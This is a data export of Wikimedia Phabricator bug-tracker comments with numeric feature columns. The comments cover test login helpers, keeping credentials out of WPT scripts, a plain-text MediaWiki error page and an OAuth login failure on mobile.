544699,Can't login into a newly created nova instance through ssh,Is it still broken?,,,1444497510,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ukb2viitzlkjh4g5a7t3,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,Is it still broken?
112908,Authenticate via the API for login steps,Authenticating via the API to satisfy test preconditions should be more reliable and faster than driving the browser. It also has the added benefit of not exposing credentials in the Selenium logs (see {T89353}).,Medium,50.0,1442506850,1442934396.0,PHID-USER-7bifphmxtcqgvdofuzla,False,PHID-USER-7bifphmxtcqgvdofuzla,False,PHID-TASK-szootqtj2wa72tc5big3,task_description,resolved,True,c3,3,True,True,True,11,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,12.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,4.475,0.9,Authenticating via the API to satisfy test preconditions should be more reliable and faster than driving the browser. It also has the added benefit of not exposing credentials in the Selenium logs (see {T89353}).
531293,Authenticate via the API for login steps,"Change 226950 merged by jenkins-bot:
Login helper for fast API-based authentication

[[https://gerrit.wikimedia.org/r/226950]]",,,1442841122,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-szootqtj2wa72tc5big3,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.9130434782608696,0.8695652173913043,"Change 226950 merged by jenkins-bot:
Login helper for fast API-based authentication

[[GERRIT_URL]]"
529499,Authenticate via the API for login steps,"Change 226950 had a related patch set uploaded (by Dduvall):
Login helper for fast API-based authentication

[[https://gerrit.wikimedia.org/r/226950]]
",,,1442506925,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-szootqtj2wa72tc5big3,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.9285714285714284,0.8928571428571429,"Change 226950 had a related patch set uploaded (by Dduvall):
Login helper for fast API-based authentication

[[GERRIT_URL]]
"
112845,The usual WMF HTTP 500 error page is not displayed in the case of unhandled exceptions ,"Certain errors (unhandled exceptions, I guess) don't result in the usual WMF error page. See the description of T110878:

> What is interesting is that on WMF sites, this doesn't show the usual ""Wikimedia Foundation error"" page, but instead shows a quasi-plain text response of a kind that I have never seen before: https://www.mediawiki.org/wiki/Special:WhatLinksHere/Media:Wiki.png The HTML source of the returned page is exactly the following:
> ```MediaWiki internal error.<br />
><br />
>Exception caught inside exception handler.<br />
><br />
>Set $wgShowExceptionDetails = true; at the bottom of LocalSettings.php to show detailed debugging information.<br />```

This error is unhelpful to non-developers, because it uses highly technical jargon like ""exception caught inside exception handler"", and doesn't tell users where to report the error. It doesn't even show the skin interface, which may make some users worry that they have ""broken the site""!",Medium,50.0,1442455023,1569619966.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-3d4umhveb7t4oejcuz5l,task_description,declined,True,c3,3,True,False,False,11,True,1.0,0.0,1.0,0.0,3.0,6.0,1.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,8.0,3.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,10.0,3.0,1.0,9.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,4.0,9.0,2.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.056179775280899,0.7640449438202247,"Certain errors (unhandled exceptions, I guess) don't result in the usual WMF error page. See the description of T110878:

QUOTE
QUOTE

This error is unhelpful to non-developers, because it uses highly technical jargon like ""exception caught inside exception handler"", and doesn't tell users where to report the error. It doesn't even show the skin interface, which may make some users worry that they have ""broken the site""!"
1361234,The usual WMF HTTP 500 error page is not displayed in the case of unhandled exceptions ,"A lot has changed in 2015. For the most part cases like these are covered, and they do always return HTTP 500 now.

However, there remains a small edge case where if there are several layers of errors, it can still show in plain text. This is in cases where there are two or three layers of cascading errors within MediaWiki. The last layer there is a generic MediaWiki HTML output, which still looks like the above. This layer cannot read Wikipedia or WMF branding as the ability to do that is among the things that has failed at that point.

As of PHP7 we have the php-wmerrors extension deployed again which means if this layer isn't reached either, the next level above that (e.g. for Segfaults), there is a pretty error page again. Closing as declined for now as I don't think is feasible to enhance this, rather the class of errors is sufficiently small that I don't think it's worth the cost and overhead of trying to enhance this with an additional subsystem. There is an easy alternative, which is to render a blank response that the traffic-layer (e.g. Varnish or Apache) would backfill with a generic nice error page. But this goes at the cost of being able to determine what went wrong (eg. an error message with details as to what happened and how it might be solved).

Given this class of errors is among the most rare and yet the worst/most difficult to investigate, I think we'd prefer some details about what happened over no details but branding.",,,1569620011,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3d4umhveb7t4oejcuz5l,task_subcomment,,True,c3,3,True,,,221,True,0.5,0.0,0.0,0.75,1.0,6.0,2.0,0.0,0.0,0.5,3.0,1.0,0.0,0.0,1.5,1.5,0.0,6.5,11.0,0.0,1.75,0.0,0.0,0.0,1.25,0.25,0.0,0.5,0.75,0.5,0.25,6.5,1.75,0.75,0.0,0.0,0.0,0.5,0.0,0.75,0.25,0.25,1.0,0.5,0.0,0.5,0.25,0.25,0.0,11.5,1.5,1.25,0.25,1.25,0.0,0.25,0.25,0.5,0.5,0.0,0.25,1.5,0.0,1.0,0.5,0.25,0.25,5.75,4.0,6.25,1.5,2.5,10.25,0.0,0.0,0.0,0.0,3.75,0.0,1.0,0.0,2.5,11.0,2.25,0.0,0.0,0.0,2.5,0.0,3.0,2.25,0.0,1.0,0.0,1.25,0.0,3.9509142173615857,0.7607228298017772,"A lot has changed in 2015. For the most part cases like these are covered, and they do always return HTTP 500 now.

However, there remains a small edge case where if there are several layers of errors, it can still show in plain text. This is in cases where there are two or three layers of cascading errors within MediaWiki. The last layer there is a generic MediaWiki HTML output, which still looks like the above. This layer cannot read Wikipedia or WMF branding as the ability to do that is among the things that has failed at that point.

As of PHP7 we have the php-wmerrors extension deployed again which means if this layer isn't reached either, the next level above that (e.g. for Segfaults), there is a pretty error page again. Closing as declined for now as I don't think is feasible to enhance this, rather the class of errors is sufficiently small that I don't think it's worth the cost and overhead of trying to enhance this with an additional subsystem. There is an easy alternative, which is to render a blank response that the traffic-layer (e.g. Varnish or Apache) would backfill with a generic nice error page. But this goes at the cost of being able to determine what went wrong (eg. an error message with details as to what happened and how it might be solved).

Given this class of errors is among the most rare and yet the worst/most difficult to investigate, I think we'd prefer some details about what happened over no details but branding."
1361233,The usual WMF HTTP 500 error page is not displayed in the case of unhandled exceptions ,"A lot has changed in 2015. For the most part cases like these are covered, and they do always return HTTP 500 now.

However, there remains a small edge case where if there are several layers of errors, it can still show in plain text. This is in cases where there are two or three layers of cascading errors within MediaWiki. The last layer there is a generic MediaWiki HTML output, which still looks like the above. This layer cannot read Wikipedia or WMF branding as the ability to do that is among the things that has failed at that point.

As of PHP7 we have the php-wmerrors extension deployed again which means if this layer isn't reached either, the next level above that (e.g. for Segfaults), there is a pretty error page again. Closing as declined for now as I don't think is feasible to enhance this, rather the class of errors is sufficiently small that I don't think it's worth the cost and overhead of trying to enhance this with an additional subsystem. There is an easy alternative, which is to render a blank response that the traffic-layer (e.g. Varnish or Apache) would backfill with a generic nice error page. But this goes at the cost of being able to determine what went wrong (eg. an error message with details as to what happened and how it might be solved).",,,1569619966,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3d4umhveb7t4oejcuz5l,task_subcomment,,True,c3,3,True,,,221,True,0.3333333333333333,0.0,0.0,1.0,1.3333333333333333,7.0,2.0,0.0,0.0,0.6666666666666666,4.0,1.0,0.0,0.0,2.0,1.0,0.0,6.666666666666667,12.333333333333334,0.0,1.6666666666666667,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.6666666666666666,1.0,0.3333333333333333,0.3333333333333333,8.0,1.6666666666666667,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,13.333333333333334,2.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,2.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,7.0,4.666666666666667,7.666666666666667,2.0,2.3333333333333335,11.333333333333334,0.0,0.0,0.0,0.0,4.333333333333333,0.0,1.3333333333333333,0.0,2.3333333333333335,12.333333333333334,3.0,0.0,0.0,0.0,2.3333333333333335,0.0,3.6666666666666665,3.3333333333333335,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,3.925384935497295,0.7202663337494798,"A lot has changed in 2015. For the most part cases like these are covered, and they do always return HTTP 500 now.

However, there remains a small edge case where if there are several layers of errors, it can still show in plain text. This is in cases where there are two or three layers of cascading errors within MediaWiki. The last layer there is a generic MediaWiki HTML output, which still looks like the above. This layer cannot read Wikipedia or WMF branding as the ability to do that is among the things that has failed at that point.

As of PHP7 we have the php-wmerrors extension deployed again which means if this layer isn't reached either, the next level above that (e.g. for Segfaults), there is a pretty error page again. Closing as declined for now as I don't think is feasible to enhance this, rather the class of errors is sufficiently small that I don't think it's worth the cost and overhead of trying to enhance this with an additional subsystem. There is an easy alternative, which is to render a blank response that the traffic-layer (e.g. Varnish or Apache) would backfill with a generic nice error page. But this goes at the cost of being able to determine what went wrong (eg. an error message with details as to what happened and how it might be solved)."
553094,The usual WMF HTTP 500 error page is not displayed in the case of unhandled exceptions ,"Er, we should depending on the stack trace :\",,,1445962659,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-3d4umhveb7t4oejcuz5l,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.3636363636363638,1.0,"Er, we should depending on the stack trace :\"
553092,The usual WMF HTTP 500 error page is not displayed in the case of unhandled exceptions ,This should be pretty easy to do. We don't actually return a 500 in this scenario afaict...we should.,,,1445962564,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-3d4umhveb7t4oejcuz5l,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,9.0,0.0,13.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,9.0,9.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.652173913043478,0.8695652173913043,This should be pretty easy to do. We don't actually return a 500 in this scenario afaict...we should.
112733,Make WPT script files use placeholders (to be able to have login/password outside of the files),"We have support for using WPT script language today so we can login a user (or do whatever funky things we want). However right now they hold the login/passwords in the files and that will not be so good since we want to keep the version controlled in Git.

Lets see if we can find a standard (easy) solution to just add whatever placeholder we want at inject the values. ",Medium,50.0,1442388282,1442955117.0,PHID-USER-hfqxkl5wvmdkecl5utfy,False,PHID-USER-hfqxkl5wvmdkecl5utfy,False,PHID-TASK-6zplaanzbnm66j5slgxt,task_description,resolved,True,c3,3,True,True,True,10,True,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,11.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,6.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,8.0,1.0,6.0,4.0,2.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,11.0,4.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,3.7875,0.75,"We have support for using WPT script language today so we can login a user (or do whatever funky things we want). However right now they hold the login/passwords in the files and that will not be so good since we want to keep the version controlled in Git.

Lets see if we can find a standard (easy) solution to just add whatever placeholder we want at inject the values. "
532028,Make WPT script files use placeholders (to be able to have login/password outside of the files),"Change 239080 merged by jenkins-bot:
Make WPT script files use placeholders

[[https://gerrit.wikimedia.org/r/239080]]",,,1442871687,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6zplaanzbnm66j5slgxt,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9047619047619047,0.9047619047619048,"Change 239080 merged by jenkins-bot:
Make WPT script files use placeholders

[[GERRIT_URL]]"
529286,Make WPT script files use placeholders (to be able to have login/password outside of the files),"Change 239080 had a related patch set uploaded (by Phedenskog):
Make WPT script files use placeholders.

[[https://gerrit.wikimedia.org/r/239080]]
",,,1442491112,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6zplaanzbnm66j5slgxt,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.925925925925926,0.8888888888888888,"Change 239080 had a related patch set uploaded (by Phedenskog):
Make WPT script files use placeholders.

[[GERRIT_URL]]
"
112730,Failure to OAuth after login on mobile,"If I log in using this link (https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=Special:OAuth/authorize&returntoquery=oauth_token%3Df97d76d6ec67bde6719952217d5ab80e%26oauth_consumer_key%3Dd5aa23a6b7a6d61e21ba1bb725c212fe) on my iPad mini to log in and authorise the Wikidata Game on toollabs access to my account (Vidar?) I'm taken to this site (screenshot below; https://m.mediawiki.org/wiki/Special:CentralLogin/complete?token=39880826259b573205f3c40ad7ae8570) after logging in, instead of the ""Allow-dialog"" which is visable on desktop.
{F2608859}",Medium,50.0,1442387864,1701057345.0,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-nfqc6az2tmukucqqnqjz,task_description,resolved,True,c3,3,True,False,False,10,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,6.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,16.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,19.0,9.0,2.0,3.0,0.0,6.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4375,0.765625,"If I log in using this link (URL on my iPad mini to log in and authorise the Wikidata Game on toollabs access to my account (Vidar?) I'm taken to this site (screenshot below; URL after logging in, instead of the ""Allow-dialog"" which is visable on desktop.
{F2608859}"
2235786,Failure to OAuth after login on mobile,">>! In T112730#9357597, @Tgr wrote:
> We should set up a test consumer which uses the wrong URL and verify this.

Filed as {T351988}. Nothing actionable left here.",,,1701057345,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,438,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.7333333333333334,0.8666666666666667,"QUOTE
QUOTE

Filed as {T351988}. Nothing actionable left here."
2235704,Failure to OAuth after login on mobile,"See T74186#9357590 for what I think was going on here. 

>>! In T112730#7970193, @kostajh wrote:
> Can you provide some more detail about how you changed the URL?

Configured the tool to redirect to `https://www.mediawiki.org/wiki/Special:OAuth/authorize` instead of `https://www.mediawiki.org/w/index.php?title=Special:OAuth/authorize`, presumably.

FWIW {ee049b8e45e0a968cc6a7e0e730a228037a7085a} fixed the login issue so even if an app used the wrong URL today, I think login would work (they would just have to do it on the desktop site which is bad for UX). We should set up a test consumer which uses the wrong URL and verify this.",,,1700989827,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,438,True,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,11.0,0.0,2.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,2.0,0.0,8.0,2.0,16.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,6.0,11.0,7.0,0.0,0.0,0.0,6.0,0.0,3.0,2.0,0.0,1.0,0.0,0.0,0.0,3.9887640449438204,0.7415730337078652,"See T74186#9357590 for what I think was going on here. 

QUOTE
QUOTE

Configured the tool to redirect to CODE instead of CODE, presumably.

FWIW {ee049b8e45e0a968cc6a7e0e730a228037a7085a} fixed the login issue so even if an app used the wrong URL today, I think login would work (they would just have to do it on the desktop site which is bad for UX). We should set up a test consumer which uses the wrong URL and verify this."
2233370,Failure to OAuth after login on mobile,">>! In T112730#3474368, @Samwalton9-WMF wrote:
> This stiill appears to be an issue. I'm unable to login to Phabricator on mobile, seeing the same error as in the original post.

I'm now able to log in to Phabricator without issue.",,,1700563511,,PHID-USER-ksxcfwf6vvnfvopbps4h,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,437,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,25.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.875,"QUOTE
QUOTE

I'm now able to log in to Phabricator without issue."
2232990,Failure to OAuth after login on mobile,"I can't reproduce this today.

All of the OAuth login links I've tried (the one in task description, https://tools.wmflabs.org/wikidata-game/, https://phabricator.wikimedia.org/, https://dashboard.wikiedu.org) send me to the mobile login page when I'm using my phone today, and not to the desktop page as described in everyone's reproduction steps.",,,1700519367,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,437,True,2.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,9.0,0.0,5.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,14.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,9.0,11.0,4.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.6964285714285716,0.75,"I can't reproduce this today.

All of the OAuth login links I've tried (the one in task description, URL URL URL send me to the mobile login page when I'm using my phone today, and not to the desktop page as described in everyone's reproduction steps."
1926081,Failure to OAuth after login on mobile,">>! In T112730#7970088, @Magnus wrote:
> I //think// I fixed the URL for `Special:OAuth`, someone please try it in the wild

YES! I just tried mobile login via OAuth on dashboard.wikiedu.org (while initially logged out on Wikipedia) and it worked smoothly! Until now, it's always thrown an error after login, and would only work if I was already logged on Wikipedia at the outset of the OAuth login flow.

Thank you Magnus!",,,1654018322,,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,360,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,11.0,17.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,18.0,3.0,3.0,5.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,8.0,17.0,9.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.030769230769231,0.7538461538461538,"QUOTE
QUOTE

YES! I just tried mobile login via OAuth on dashboard.wikiedu.org (while initially logged out on Wikipedia) and it worked smoothly! Until now, it's always thrown an error after login, and would only work if I was already logged on Wikipedia at the outset of the OAuth login flow.

Thank you Magnus!"
1925778,Failure to OAuth after login on mobile,">>! In T112730#7970088, @Magnus wrote:
> I //think// I fixed the URL for `Special:OAuth`, someone please try it in the wild

Can you provide some more detail about how you changed the URL?",,,1654003656,,PHID-USER-jzbjfcs2csloltie4voe,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,False,,,360,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.823529411764706,0.8823529411764706,"QUOTE
QUOTE

Can you provide some more detail about how you changed the URL?"
1925743,Failure to OAuth after login on mobile,"I //think// I fixed the URL for `Special:OAuth`, someone please try it in the wild
